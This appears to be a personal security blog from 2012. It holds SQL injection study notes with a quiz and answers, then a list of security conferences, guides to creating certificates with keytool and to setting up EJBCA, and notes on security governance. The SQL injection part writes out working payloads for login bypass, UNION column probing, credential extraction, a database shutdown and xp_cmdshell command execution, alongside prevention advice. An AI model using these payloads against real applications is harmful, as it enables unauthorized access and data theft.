Quick steps to verify if an application is vulnerable:

Verify if the app is interacting with a backend DB by submitting "%" in a search parameter to see if additional results are being returned.
Try with single and two single quotes in user supplied data to see how the application responds. Single quote normally results in a a SQL error and you can study the error message. two single quotes are treated by the DB as a literal single quote so the error might disappear and indicate that the DB processed this as valid input. This might signal SQL Injection vulnerability.
While testing for SQl Injection vulnerability(especially without using an intercepting proxy), we may need to encode the params to pass them to the DB layer.

If you fail to encode problem characters correctly, you may inval-idate the entire request or submit data you did not intend to.

User input values that are used in table or column names or ORDER by clauses don't need a single quote.
If SQL injection vulnerability occurs in a SELECT statement, you can often employ the UNION operator to perform a second query, and combine the results with those of the first.

But the two result sets must have the same structure. i.e. they must contain the same number of columns, which have the same or compatible data types, appearing in the same order.
A persistent attacker can first figure out the number of columns by using "SELECT NULL" and then try different data types.

Database metadata can be used to further gather information about the tables and columns:

information_schema table can be used for MS-SQL, MySQL etc
all_tab_columns can be used for Oracle.

It is possible to bypass filters at the application level by using ASCII codes for characters ( if single quote is being blocked). If comment is blocked then we can construct in a way to avoid breaking the syntax.
It is also possible to bypass blacklist based validations by using null charater etc.
You can check if t

Fingerprinting the Database: The below shows how the string services could be constructed on the common types of database:

Oracle: ‘serv’?‘ices’ ( send '||'London as a String parameter and the result is same)
MS-SQL: ‘serv’+‘ices’ ( send '+'London as a String parameter and the result is same)
MySQL: ‘serv’ ‘ices’ (note the space)

Second-Order SQL Injection<TODO>

Many applications handle data safely when it is first inserted into the database. Once data is stored in the database, it may later be processed in unsafe ways, either by the application itself or by other back-end processes.

Advanced Exploitation<TODO>

attacker could turn off an MS-SQL database with the shutdown command:

' shutdown --

Beyond SQL Injection: Escalating the Database Attack

MS-SQL

Perhaps the most notorious piece of database functionality that an attacker can misuse is the xp_cmdshell stored procedure, which is built into MS-SQL by default. This stored procedure allows users with DBA permissions to execute operating system commands in the same way as the cmd.exe command prompt. For example:master..xp_cmdshell 'ipconfig > foo.txt'

The opportunity for an attacker to misuse this functionality is huge. He can perform arbitrary commands, pipe the results to local files, and read them back. He can open out-of-band network connections back to himself and create a backdoor command and communications channel. Because MS-SQL runs by default as Localsystem, the attacker typically can fully compromise the underlying operating system, performing arbitrary actions. MS-SQL contains a wealth of other extended stored procedures, such as xp_regread and xp_regwrite, that can be used to perform powerful actions within the registry of the Windows operating system.

<TODO>

Preventing SQL Injection

Despite the complex and dangerous attacks that can be mounted by SQL injection, it is in general one of the easier vulnerabilities to prevent.

But merely, escaping single quotation marks by doubling them will not prevent SQL Injection. It fails in the below two situations:

If numeric user-supplied data is being embedded into SQL queries, this is not usually encapsulated within single quotation marks. Hence, an attacker can break out of the data context and begin entering arbitrary SQL without the need to supply a single quotation mark.
In second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that were doubled initially return to their original form when the data is reused.

Escaping Dynamic Queries

One can use escaping routines for specific database:

ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );

encodeForSQL

Encode input for use in a SQL query, according to the selected codec (appropriate codecs include the MySQLCodec and OracleCodec). This method is not recommended. The use of the PreparedStatement interface is the preferred approach. However, if for some reason this is impossible, then this method is provided as a weaker alternative. The best approach is to make sure any single-quotes are double-quoted. Another possible approach is to use the {escape} syntax described in the JDBC specification in section 1.5.6. However, this syntax does not work with all drivers, and requires modification of all queries.

While stored procedure can have security and performance benefits, it doesn't prevent SQL Injection in all cases. Consider:

A SP invoked in an unsafe way using user-supplied input.

exec sp_createUser 'johm', 'pwd'
This statement may be just as vulnerable as a simple INSERT statement. For example, an attacker may supply the following password:
abc'; exec some_malicious --
which causes the application to perform the batch query

How about parameterized Queries?

In the case of Parameterized Queries, the query structure has already been defined, the relevant API handles any type of placeholder data in a safe manner, so it is always interpreted as data rather than part of the statement's structure.

A few things to keep in mind though:

Be consistent and use PQs all throughout the application.
Don't use any parameter concatenation to construct a PQ.
(Rare but possible). Some applications accept parameters for table and column names. Ensure white list validation is done, along with length and whitespace restrictions and also allowing only alphanumeric characters.
Parameter placeholders cannot be used for any other parts of the query, such as the ASC or DESC keywords that appear within an ORDER BY clause, or any other SQL keyword, since these form part of the query structure.

Defense in Depth

lowest possible level of privileges when accessing the database. An application can even use multiple accounts i.e. one for read only and one for read write. This mitigates risks that a sql injection flaws.
Unnecessary database functions should be removed/disabled. A skilled and determined attacker may be able to recreate some required functions but this is not usually straightforward,
All vendor-issued security patches should be applied in a timely way (They should be tested first).

TIPS

Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off.

If this character replacement is turned on, the & character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data.
But It will also disable variables ( & is used for variables as well). Best option is to:
You need SET DEFINE ON to make variables work
And SET ESCAPE ON to escape uses of &.

Questions/Answers

1.You are trying to exploit a SQL injection flaw by performing a UNION attack to retrieve data. You do not know how many columns the original query returns. How can you find this out?

2.You have located a SQL injection vulnerability in a string parameter. You believe the database is either MS-SQL or Oracle, but you can't retrieve any data or an error message to confirm which database is running. How can you find this out?

3.You have submitted a single quotation mark at numerous locations throughout the application. From the resulting error messages you have diagnosed several potential SQL injection flaws. Which one of the following would be the safest location to test whether more crafted input has an effect on the application's processing?

Registering a new user

Updating your personal details

Unsubscribing from the service

4.You have found a SQL injection vulnerability in a login function, and you try to use the input ‘ or 1=1— to bypass the login. Your attack fails, and the resulting error message indicates that the -- characters are being stripped by the application's input filters. How could you circumvent this problem?

5.You have found a SQL injection vulnerability but have been unable to carry out any useful attacks, because the application rejects any input containing whitespace. How can you work around this restriction?

6.The application is doubling up all single quotation marks within user input before these are incorporated into SQL queries. You have found a SQL injection vulnerability in a numeric field, but you need to use a string value in one of your attack payloads. How can you place a string in your query without using any quotation marks?

7.In some rare situations, applications construct dynamic SQL queries from user-supplied input in a way that cannot be made safe using parameterized queries. When does this occur?

8.You have escalated privileges within an application such that you now have full administrative access. You discover a SQL injection vulnerability within a user administration function. How can you leverage this vulnerability to further advance your attack?

9.You are attacking an application that holds no sensitive data and contains no authentication or access control mechanisms. In this situation, how should you rank the significance of the following vulnerabilities?

SQL injection

XPath injection

OS command injection

You are probing an application function that enables you to search personnel details. You suspect that the function is accessing either a database or an Active Directory back end. How could you try to determine which of these is the case?

======================================================================================

1.You can determine the number of columns in two easy ways. First, you can SELECT the type-neutral value NULL from each column, increasing the number of columns until the application returns data, indicating that the correct number of columns were specified, for example:

' UNION SELECT NULL--

' UNION SELECT NULL, NULL--

' UNION SELECT NULL, NULL, NULL--

Note that on Oracle you will need to add FROM DUAL after the final NULL in each case.

Second, you can inject ORDER BY clauses and increment the specified column until an error occurs, indicating that an invalid column was requested:

' ORDER BY 1--

' ORDER BY 2--

' ORDER BY 3--

2.An easy way to confirm the database type is to use database-specific string concatenation syntax to construct some benign input within the query you control. For example, if the original value of the parameter is London you can submit the following items in turn:

'||'London

'+'London

If the first results in the same behavior as the original, the database is probably Oracle. If the second results in the same behavior, the database is probably MS-SQL.

3.While it may seem counterintuitive, the user registration function is probably the safest. Registration functions normally use INSERT statements, which are unlikely to affect other records if you modify them. A function to update personal records is probably using conditional UPDATE statements. If you inject a payload like ' or 1=1-- you may cause all records in the table to be modified. Similarly, the function to unsubscribe is probably using conditional DELETE statements, and could impact on other users if you are not careful.

That said, it is impossible to be completely certain in advance which statements are being carried out by any kind of functionality, and you should advise the application owner of the risks before you perform the test.

4.An easy way to achieve the same effect without using comment characters is with the input ' or 'a'='a.

5.You can SQL comment characters to separate keywords and other items in your injected payloads, for example:

'/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--

6.You can use the CHAR command to return a string value from a numeric ASCII character code. For example, on Oracle the string FOO can be represented as:

CHAR(70)||CHAR(79)||CHAR(79)

7.This situation arises where user-supplied input is being placed into other elements of a query, such as table and column names, rather than the query’s parameters. A parameterized query cannot be precompiled with placeholders for these items, so a different solution needs to be used, probably based on very stringent input validation.

8.Because you already have administrative access, it is likely that you can retrieve any data you desire using the application itself, meaning that a SQL injection attack to retrieve the application’s own data may be redundant. However, you can still leverage the attack to access any data relating to other applications that is held within the same database, or to escalate privileges within the database or the underlying operating system, to compromise the database server and extend your attack into the wider internal network.

9.XPath injection can only be used to retrieve data from the targeted XML file. Hence, if the application contains no sensitive data this is likely to be a low impact issue. Similarly, SQL injection flaws may not enable you to extract any sensitive data from the database. However, they can sometimes be leveraged to escalate privileges within the database and develop your attack in other ways. Depending on the situation, SQL injection may be a more significant vulnerability. OS command injection, on the other hand, is almost always a high impact vulnerability, because it usually enables you to directly compromise the underlying server and use it as the launch point for further attacks against internal systems.

10.If the function is accessing a database, then submitting the SQL wildcard % as the search query is likely to return a large number of records. Similarly, if the function is accessing an Active Directory, then submitting the wildcard * is likely to return a large number of records. Neither wildcard should have the same effect on the other system.

Security Conferences that I find interesting - 2012

2012-07-28T19:47:00.000-07:00

OWASP AppSec USA 2012 — LASCON Edition, TX

Austin, TX at the Hyatt Regency Hotel Downtown
Training: October 23rd-24th — Conference Sessions: October 25th-26th

OWASP AppSec conferences bring together industry, government, security researchers, and practitioners to discuss the state of the art in application security.

RSA Conference

is helping drive the information security agenda worldwide with annual industry events in the U.S., Europe and Asia. Throughout its history, RSA Conference has consistently attracted the world's best and brightest in the field, creating opportunities for conference attendees to learn about IT security's most important issues through first-hand interactions with peers, luminaries and emerging and established companies. As the IT security field continues to grow in importance and influence, RSA Conference plays an integral role in keeping security professionals across the globe connected and educated.

RSA developed the RSA Conference in 1991 as a forum for cryptographers to gather and share the latest knowledge and advancements in the area of Internet security. Today, the RSA Conference and related, RSA Conference branded activities, are still managed by RSA, the Security Division of EMC, with the support of the industry. RSA Conference event programming is judged and developed by information security practitioners and other related professionals.

Save the date for 2013: February 25 to March 1 in San Francisco!

Refer this for 2012 Sessions

Information System Security Consortium Congress:

https://www.isc2.org/Conferences.aspx

http://www.hackerhalted.com

Has courses for learning etc:

SN	Course Title	Before May 31	Before Aug 31	Starts Sept 1

1.	Certified Ethical Hacker (CEH) v7	$2999	$3399	$3599
2.	Certified Security Analyst / Licensed Penetration Tester (ECSA/LPT)	$2799	$3199	$3399
3.	Computer Forensics Hacking Investigator (CHFI)	$2799	$3199	$3399
4.	Certified Incident Handler (ECIH) [2 days]	$2299	$2699	$2899
5.	CAST 611 – Advanced Penetration Testing [3 days]	$2799	$3199	$3399
6.	CAST 612 – Advanced Mobile Hacking & Forensics [3 days]	$2799	$3199	$3399
7.	CAST 614 – Advanced Network Defense [3 days]	$2799	$3199	$3399
8.	Wireless & Bluetooth Hacking 101 [2 days]	$2299	$2699	$2899
9.	SAP Security In Depth [2 days]	$2299	$2699	$2899
10.	Certified Information Systems Security Professional (CISSP)	$2799	$3199	$3399
11.	Crimeware Attribution [2 days]	$2299	$2699	$2899
12.	The Web Application Hacker’s Handbook 2nd Edition Live - [3 days]	$2799	$3199	$3399
13.	PMP (Project Management Professional)	$2799	$3199	$3399

Conference Pass

SN	Category	Before May 31	Before Aug 31	Starts Sept 1

1.	EC-Council Member*	$899	$1199	$1399
2.	Public	$1299	$1599	$1799
3.	Academic Pass**	$399	$599	$699
4.	Press & Media	Please email info@hackerhalted.com for more information
5.	Group Registrations	Please email info@hackerhalted.com for more information

Blackhat

July 21-26, 2012 | Las Vegas, NV

ISACA's World Congress

25-27 June 2012 | San Francisco, CA, USA
A leadership forum for business and IT professionals.

BSidesDFW 2012

Event details:

When: Saturday, November 3, 2012
Where: CTREC Hilton Academy (1605 LBJ Freeway, Dallas, TX 75234)
Cost: Free (as always!) Donations are always welcome Donate Here!
Doors open at: 8:30 am - 5:30 pm

InfoSec World Conference & Expo 2013

April 15-17, 2013
Walt Disney World Swan and Dolphin
Orlando, FL

Here are resources in case you want to look at all available conferences:

https://secore.info/
Resource for Information Security conferences.
http://www.allconferences.com/
http://www.secsocial.com/blog/?page_id=478

Creating an X509v3 Certificate

2012-07-15T11:53:00.000-07:00

There are three options to generate a certificate and some of the steps are common between the first two options.

Option1: Create a self signed certificate

We can use the keytool supplied as part of JDK to create this. For example:

Step1: Creating a Certificate

jdk1.7.0_04\bin>keytool -genkey -keyalg RSA -alias manojdefaultcert -keystore manojkeystore.jks

Step 2: generating a CSR( Certificate Signing Request).

The CSR contains the public key and the name of the server, in a format defined by the PKCS#10 standard (typically given the filename extension .p10 or .csr)

jdk1.7.0_04\bin>keytool -certreq -sigalg MD5withRSA -alias manojdefaultcert -file manojdefaultcert-csr.pem -keystore manojkeystore.jks

Step3: Generate certificate from above CSR.

jdk1.7.0_04\bin>keytool -gencert -infile manojdefaultcert-csr.pem -outf

ile manojdefaultcert.cert -alias manojdefaultcert -keystore manojkeystore.jks

Don't recall if I had to do anything with the certificate generated in manojdefaultcert.cert file. Probably the PrivateKey entry in the keytool becomes ready for use.

Maybe we can use this certificate and provide it to clients that want to trust this self signed certificate.

Option2: Create a Certificate signed by a CA

Steps 1 and 2 are similar to the ones for option 1. Once we have the CSR, we can get the CSR signed by a CA. Refer the EJB CA post to see how EJBCA was setup as a CA and how we can get the cert signed by EJBCA.

Just to summarize, navigate to https://localhost:8443/ejbca/enrol/server.jsp and select the CSR file and the user id to create against.

User id should match the subject in "CN=subject".
Output in pkcs#7 format.

Note: Remember to accept the return in pkcs#7 format from the CA and then import that file into the keystore. For some reason pem format didn't work in EJBCA. maybe because it didn't have the full chain.

Step 3: Import the output file( CA Reply or CSR Reply) from the CA in keystore:

This is typically given as an X.509 Certificate file (.cer, .crt, .pem, or .der) or as a PKCS#7 file (.p7b). In our case it is .p7b.

Each certificate in the chain must imported into the keystore(starting first with the root cert). If the CA Reply does not include the chain certificates, they must be added to the keystore manually before the CA reply.
In our case .p7b includes the cert chain.

The command is:

keytool -importcert -alias testkeytoolcert -keystore testkey.jks -file "Manoj Test-testkeytoolcert-AdminCA1.pkcs7"

Basically we are trying to import the certificate returned from the CA using the same alias that was used to generate the PrivateKey entry. Keytool will assign the certificate chain to the PrivateKey and record the reply from the CA.





Option 3: Import an existing certificate ( in pkcs#12 format).

Basically, the certificate and keys were generated using a different tool or process or by an  internal company process. The cert and key information has to be combined into a single pkcs#12 format by using openSSL:


openssl pkcs12 -export -in cert.crt -inkey key.key -out exported.p12 -name tomcat -CAfile myCA.crt -caname root -chain

This certificate can then in imported in JKS keystore.

Option 4: Programmatically create a Certificate signed by a CA using SCEP

This will be the subject of another blog post...
<TODO: insert link to blog post on SCEP Enrollment>

Resources

KeyStore Explorer

Free GUI replacement for the Java command-line utilities keytool, jarsigner and jadtool. KeyStore Explorer presents their functionality, and more, via an intuitive graphical user interface.

Free but not open source. Cannot redistribute.
Allows exporting of the PrivateKey.
Refer a utility in security-utils project for importing a private key and certs.

http://docs.oracle.com/javase/7/docs/technotes/tools/windows/keytool.html

Useful article for commands etc for dealing with java Keystores

Importing private keys into a Java keystore using keytool

We need to convert our existing certificate and key into a PKCS12 file, and then use the keytool functionality to merge one keystore with another one. Java 6 can treat a PKCS12 file as a keystore so putting this together we get this:

keytool -importkeystore -deststorepass pwd -destkeypass pwd -destkeystore dest-keystore.jks -srckeystore src-certs-priv-key.p12 -srcstoretype PKCS12 -srcstorepass key-password -alias 1

The alias of 1 is required to choose the certificate in the source PKCS12 file, keytool isn't clever enough to figure out which certificate you want in a store containing one certificate.

PKI: Setting up and using a Certificate Authority using EJBCA

2012-06-30T21:35:00.000-07:00

In the post we will walk through the setup and configuration of EJBCA used as a CA.

Setting up EJBCA

Installation

Refer http://ejbca.org/installation.html for details. Here are a few tips:

Copied unlimited strength policy files to jre/lib/security
Refer <EJBCA>/conf/ejbca.properties for detailed setup of EJBCA and other properties. I modified the file to set the following:

appserver.home=jboss-5.1.0.GA
ca.keystorepass=mypass

Had to setup this entry correctly in to avoid token errors. Also verify that CA token is online in the Admin UI otherwise we run into issues while enrolling certificates.

We are using the default hsqldb that comes with Jboss. I modified the <EJBCA>/conf/database properties to set blank password for hsqldb. Changing the password in this file will require ant deploy to be executed again. Might be safer to use ant clean first.hsqldb-ds.xml has properties that can be enabled to allow tcp communication to the database. It is disabled by default.

database.password=

Verify that jboss-5.1.0.GA/server/default/deploy/ejbca-ds.xml and hsqldb-ds.xml have the correct database properties/values.
Refer <EJBCA>/conf/install.properties for detailed setup of the CA properties. To name a few properties:

ca.name=AdminCA1
ca.dn=CN=AdminCA1,O=EJBCA Sample,C=SE
One can also specify a configuration file here which defines key name, password and key alias for the HSM used.

ca.tokenproperties=/home/ejbca/ejbca/conf/catoken.properties

ca.signaturealgorithm=SHA1WithRSA ( need to change this and try with a better one).

Added bouncy castle jars from ejbca/lib to jboss/server/default/lib
Run:

ant bootstrap

Files modified/copied include:

deploy/ejbca-ds.xml
deploy/ejbca-mail-service.xml
deploy/ejbca.ear

ant install ( all default properties except passwords)
ant deploy

conf/keystore/keystore.jks
conf/keystore/truststore.jks
deploy/jboss-web.deployer/server.xml

Known issues

On JBoss 5.1.x (not on JBoss 6.0.x) the WSDL location gets incorrectly generated by default.

To fix this (see JBoss settings during install) edit: APPSRV_HOME/server/default/deployers/jbossws.deployer/META-INF/jboss-beans.xml and comment out the line: <property name="webServiceHost">${jboss.bind.address}</property> to force the location to be generated with info from the WSDL request.
If this is not done you will get "HTTP 302 Moved Temporarily" errors when running the WS client.

If you are using Oracle's JDK and JBoss 5.1.x you need to copy EJBCA_HOME/lib/bc*.jar to JBOSS_HOME/server/default/lib/. Remember this when it's time for upgrades! This is a bug tracked by JBoss as JBAS-7882. OpenJDK works just fine though, such as the OpenJDK distributed with RedHat, Ubuntu, Debian etc.
See installation link for other known issues with 5.1 and other Jboss versions.

Sample Output

Here are a few excerpts from the console:

Output 1:

Initializing CA

[java] Generating rootCA keystore:

[java] CA name: AdminCA1

[java] SuperAdmin CN: SuperAdmin

[java] DN: CN=AdminCA1,O=EJBCA Sample,C=SE

[java] CA token type: soft

[java] CA token password: hidden

[java] Keytype: RSA

[java] Keyspec: 2048

[java] Validity (days): 3650

[java] Policy ID: null

[java] Signature alg: SHA1WithRSA

[java] Certificate profile: ROOTCA

[java] CA token properties: null

[java] Signed by: self signed

[java] Initalizing Temporary Authorization Module with caid=-xxxx and

superadmin CN 'SuperAdmin'.

[java] Creating CA...

[java] CAId for created CA: -xxxx

[java] -Created and published initial CRL.

[java] CA initialized

Output 2a

Trying to add user:

Username: tomcat

[java] Password: <password hidden>

[java] DN: CN=localhost,O=EJBCA Sample,C=SE

[java] CA Name: AdminCA1

...

Generating keys in directory <EJBCA>/p12.

Generating keys for tomcat.

[java] Created Keystore for 'tomcat'.

[java] New user generated successfully - tomcat.

Output 2b

Trying to add user:

[java] Username: superadmin

[java] Password: <password hidden>

[java] DN: CN=SuperAdmin

[java] CA Name: AdminCA1

Generating keys in directory C:worldsecurityejbca_4_0_9p12.

[java] Generating keys for superadmin.

[java] Created Keystore for 'superadmin'.

[java] New user generated successfully - superadmin.

Output 3

Wrote Root CA certificate to '<Local>\Temp/rootca.der' using DER encoding.

[echo] Adding to or creating keystore: <EJBCA>/p12/truststore.jks

Files Generated in <EJBCA>/p12

superadmin.p12

Copy this file to admin desktop machine and import in web browser. AdminUI uses client authentication and won't work without this. This is the super administrators certificate used to access the admin GUI. Other administrators with specific privileges can be created later on. The default password for superadmin.p12 is ejbca, and is configured in web.properties.

For creating other CAs or expired CAs...

ant -Dca.name="My CA Name" javatruststore
This adds the CA certificate to p12/truststore.jks and copies this file to JBOSS_HOME/server/default/conf/keystore, where the SSL keystores are located.

tomcat.jks

This is for the servlet container in Jboss (tomcat ofcourse) and doesn't have to be tampered with. Here is a sample output of the keys(password is default pass used):

<EJBCA>\p12>keytool -list -keystore tomcat.jks

cacert, Jun 1, 2012, trustedCertEntry, Certificate fingerprint (SHA1): 33:DA...

localhost, Jun 1, 2012, PrivateKeyEntry,

Certificate fingerprint (SHA1): F8:4...

truststore.jks

This is for the servlet container in Jboss (tomcat ofcourse) and doesn't have to be tampered with.

Accessing EJBCA

Access EJBCA to verify the install.

Start Jboss

jboss-5.1.0.GA\bin>run.bat > c:\jboss.log

Access Admin UI

Access Admin UI via https://localhost:8443/ejbca/adminweb/index.jsp and create an End entity or user for certificate generation. For instance:

Name: manojscepcertificate
Password: manojscepcertificate

CN=manojscepcertificate

Also, if the certificate is intended for Tomcat, then the below properties should be set correctly under the "Main Certificate Data" section:

Certificate Profile: SERVER
CA: AdminCA1
Token: User Generated

Note: Double check if Token needs to be set to P12 for the enrollment to work correctly?

For instance the "tomcat" user that was created as part of install, has a generated certificate and the token is set to jks. So most probably the token should have an impact on what is returned from the server. Setting it to user defined might work as well since the (SCEP) client can dictate this.

You can search and edit the entities as well.

EJBCA UI

Access the UI via https://localhost:8443/ejbca/index.jsp
This UI allows enrolling for new certificates, getting the certificates and CRLs and links to Administration.

Certificate Enrollment

Click on "Create Certificate from CSR" in the UI or navigate to https://localhost:8443/ejbca/enrol/server.jsp and provide the below details:

Username ( entity created in admin UI)
Password ( entity created in admin UI)
Request file.

This corresponds to the CSR file that can be created by using the Keytool supplied with JDK. One can also use openSSL or any other tool for creating this as well.
Refer my blog post on how to create a certificate.
The CSR can be PEM- or DER-formated file. One can also paste the PEM formatted contents directly into the textbox as well.
A PEM-formatted request is a BASE64 encoded certificate request starting with

-----BEGIN CERTIFICATE REQUEST-----
and ending with
-----END CERTIFICATE REQUEST-----

The result type should be set to "PKCS#7" to get a single file with the Reply and the certificate chain.
This returned reply can be imported in the keystore to complete the Certificate generation and signing process. Again, refer my blog post on how to create a certificate to get details on the import process.

Certificate Enrollment Using SCEP

This is the subject of another blog post. <TODO: insert link to blog post on SCEP enrollment>

References

WIKI: http://wiki.ejbca.org/editcas

http://ejbca.sourceforge.net/userguide.html
http://www.ejbca.org/userguide.html

Stting up ejbca as certification authority on Jboss

http://www.ejbca.org/adminguide.html

http://ejbca.org/security.html

http://ejbca.org/older_releases/ejbca_3_8/htdocs/installation.html

http://www.ejbca.org/complimentary.html

http://ejbca.org/older_releases/ejbca_3_11/htdocs/complimentary.html

Security: Information Security, threats, risks

2012-06-09T12:15:00.000-07:00

Vulnerability is software, hardware, procedural, or human weakness that may provide an attacker the open door he is looking for to enter a computer or network and have unauthorized access to resources within the environment. A vulnerability characterizes the absence or weakness of a safeguard that could be exploited.

Threat is any potential danger to information or systems. The threat is that someone, or something, will identify a specific vulnerability and use it against the company or individual. The entity that takes advantage of a vulnerability is referred to as a threat agent.

Risk is the likelihood of a threat agent taking advantage of a vulnerability and the corresponding business impact. If a firewall has several ports open, there is a higher likelihood that an intruder will use one to access the network in an unauthorized method.

An exposure is an instance of being exposed to losses from a threat agent.

A countermeasure, or safeguard, is put into place to mitigate the potential risk. A countermeasure may be a software configuration, a hardware device, or a procedure that eliminates a vulnerability or that reduces the likelihood a threat agent will be able to exploit a vulnerability.

Typical Threat Agents:

Accidental discovery
Automated malware
curious attacker
Script kiddie
motivated attacker ( or disgruntled employee)
Organized crime.

Security model

Security Principles

Minimize attack surface
secure defaults
principle of least privilege
defense in depth
Fail securely
External systems are insecure.
separation of duties

It ensures no single person has total control over an activity or task.
Split knowledge and dual control are two aspects of separation of duties.

Do not trust security through obscurity
simplicity
fix security issues correctly

Security planning

Has various layers, but it also has different types of goals to accomplish in different time frames.

Strategic planning is the plans that fall in line with the business and information technology goals.
Tactical planning refers to the initiatives and other support that must be implemented to reach the broader goals that have been put forth by the strategic planning
operational planning deals with very specific plans, their deadlines, and goals.

This approach to planning is called the planning horizon.

Security Frameworks

The Control Objectives for Information and related Technology (CobiT) was created by the Information Systems Audit and Control Association (ISACA) to provide specific guidance for creating and assessing IT controls. It is a framework and set of best practices developed by the Information Systems Audit and Control Association (ISACA) and the IT Governance Institute (ITGI). It defines goals for the controls that should be used to properly manage IT and to ensure that IT maps to business needs.

CobiT is broken down into four domains(34 IT processes, ranging from strategic planning to implementation, production support and monitoring):

Plan and Organize,
Acquire and Implement,
Deliver and Support, and
Monitor and Evaluate.

CobiT

CobiT is a framework that defines goals for the controls that should be used to properly manage IT and to ensure that IT maps to business needs.

Derived from the COSO framework, developed by the Committee of Sponsoring Organizations (COSO) of the Treadway Commission in 1985 to deal with fraudulent financial activities and reporting. The COSO framework is made up of the following components:

Control environment

- Management's philosophy and operating style

- Company culture as it pertains to ethics and fraud

Risk assessment

- Establishment of risk objectives

- Ability to manage internal and external change

Control activities

- Policies, procedures, and practices put in place to mitigate risk

Information and communication

- Structure that ensures that the right people get the right information at the right time

Monitoring

- Detecting and responding to control deficiencies

COSO is a Model for corporate governance and CobiT is a model for IT governance. COSO deals more at the strategic level, while CobiT focuses more at the operational level. You can think of CobiT as a way to meet many of the COSO objectives, but only from the IT perspective. COSO deals with non-IT items also, as in company culture, financial accounting principles, board of director responsibility, and internal communication structures. COSO was formed to provide sponsorship for the National Commission on Fraudulent Financial Reporting, an organization that studies deceptive financial reports and what elements lead to them.

COBIT information security topics

Security Policy

A policy would typically address a specific topic such as acceptable use of company e-mail, or wireless communications.

Security Standards

For example, the Benchmark provided by the Center for Internet Security (CIS). This benchmark provides specific guidance for configuring security on a Windows 2000 server.

Access and Authentication

In addition to AA, Includes user and account mgmt.

Network Security

firewalls, intrusion detection systems (IDS), encryption, certificates.
- antivirus is mandatory.
- use ethical hacking or penetration testing to test systems.

Monitoring

invalid logins, port scans, invalid authorization requests, use analysis tools if appt.

Segregation of Duties

Physical Security

The Information Technology Governance Institute (ITGI) is a group created to assist corporations with governing their IT and ensuring IT efficiently supports business mission and goals. ITGI has used COSO and COBIT to create a set of specific IT control objectives for SOX.

Security Standards

Guidelines are recommendations and general approaches that provide advice and flexibility.

There are standards and industry best practices, which provide the guidance and recipe for how to set up and implement a full security program.

A standard specifies how hardware and software are to be used. Standards are compulsory.

The most common standard used to be ISO 17799, which was derived from the British Standard 7799

(BS7799). It is an internationally recognized Information Security Management (ISM) Standard that provides high-level conceptual recommendations on enterprise security. The British Standard actually has two parts:

- BS7799 Part 1: outlines control objectives and a range of controls to meet those objectives; and
- BS7799 Part 2, which outlines how a security program can be set up and maintained.

BS7799 Part 2 also served as a baseline that organizations could be certified against. To become certified against the ISO 17799, an authorized third party would evaluate the organization against the requirements in ISO 17799 Part 2. The organization could be certified against all or just a portion of ISO 17799 Part 2.

ISO/IEC 27000

ISO 9000 series comprises many standards that deal with quality control for business processes. A new series, ISO/IEC 27000, is used for assurance and security standards. ISO has overhauled the 17799 standards to correspond with their current numbering format. Following are the ISO/IEC series that are used as blueprints for organizations to follow when developing their security program:

ISO/IEC 27001 Based on British Standard BS7799 Part 2, which is establishment, implementation, control, and improvement of the Information Security Management System

It is the standard for the establishment, implementation, control, and improvement of the Information Security Management System.

ISO/IEC 27002 Code of practice providing good practice advice on ISMS (previously known as ISO 17799 part 1), itself based on British Standard BS 7799 Part 1

It is a comprehensive set of controls comprising best practices in information security and provides guidelines on how to set up and maintain security programs.

ISO/IEC 27004 A standard for information security management measurements
ISO/IEC 27005 Designed to assist the satisfactory implementation of information security based on a risk management approach
ISO/IEC 27006 A guide to the certification/registration process
ISO/IEC 27799 A guide to illustrate how to protect personal health information

The ISO/IEC 27002 (formerly ISO 17799) domains are as follows:

Information security policy for the organization
Creation of information security infrastructure
Asset classification and control
Personnel security
Physical and environmental security
Communications and operations management
Access control
System development and maintenance
Business continuity management
Compliance

ITIL

Where CobiT defines IT goals, ITIL provides the steps at the process level on how to achieve those goals. Although ITIL has a component that deals with security, its focus is more toward internal service level agreements between the IT department and the "customers" it serves. The customers are usually internal departments.

Security Governance

Security governance is all of the tools, personnel, and business processes necessary to ensure that the security implemented meets the organization's specific needs.

Governance is the set of responsibilities and practices exercised by the board and executive management with the goal of providing strategic direction, ensuring that objectives are achieved, ascertaining that risks are managed appropriately, and verifying that the enterprise's resources are used responsibly.

Security Program Development

It is important to understand that a security program has a life cycle that is always continuing, because it should be constantly evaluated and improved upon. The security program should be integrated with current business objectives and goals.

The life cycle of any process can be described in different ways.

1. Plan and Organize

Establish management commitment.
Establish oversight steering committee.
Assess business drivers.
Carry out a threat profile on the organization.
Carry out a risk assessment.
Develop security architectures at an organizational, application, network, and component level.
Identify solutions per architecture level.
Obtain management approval to move forward.

2. Implement

Assign roles and responsibilities.
Develop and implement security policies, procedures, standards, baselines, and guidelines.
Identify sensitive data at rest and in transit.
Implement the following blueprints:
Asset identification and management
Risk management
Vulnerability management
Compliance
Identity management and access control
Change control
Software development life cycle
Business continuity planning
Awareness and training
Physical security
Incident response
Implement solutions (administrative, technical, physical) per blueprint.
Develop auditing and monitoring solutions per blueprint.
Establish goals, service level agreements (SLAs), and metrics per blueprint.

3. Operate and Maintain

Follow procedures to ensure all baselines are met
Carry out internal and external audits.
Carry out tasks outlined per blueprint.
Manage service level agreements

4. Monitor and Evaluate

Review logs, audit results, collected metric values, and SLAs per blueprint.
Assess goal accomplishments
quarterly meetings
improvement steps and integrate into the Plan and Organize phase.

Information risk management (IRM)

IRM is the process of identifying, assessing, and reducing risk to an acceptable level and implementing the right mechanisms to maintain that level of risk.

Proper risk management requires a strong commitment from senior management, a documented process that supports the organization's mission, an IRM policy, and a delegated IRM team.

The risk management team should include individuals from different departments within the organization, not just technical personnel.

Threats must be identified, classified by category, and evaluated to calculate their damage potential to the company. Real risk is hard to measure, but prioritizing the potential risks in order of which ones must be addressed first is possible.

Risk analysis

which is really a tool for risk management, is a method of identifying vulnerabilities and threats and assessing the possible impacts to determine where to implement security safeguards. Risk analysis is used to ensure that security is cost-effective, relevant, timely, and responsive to threats.

Identifying Threats

Illogical processing and cascading errors would mean invalid results are passed

on to another process. Risks have loss potential, meaning what the company would lose if a threat agent were actually to exploit a vulnerability. Must look at delayed loss when assessing the damages that can occur

Methodologies for Risk Assessment

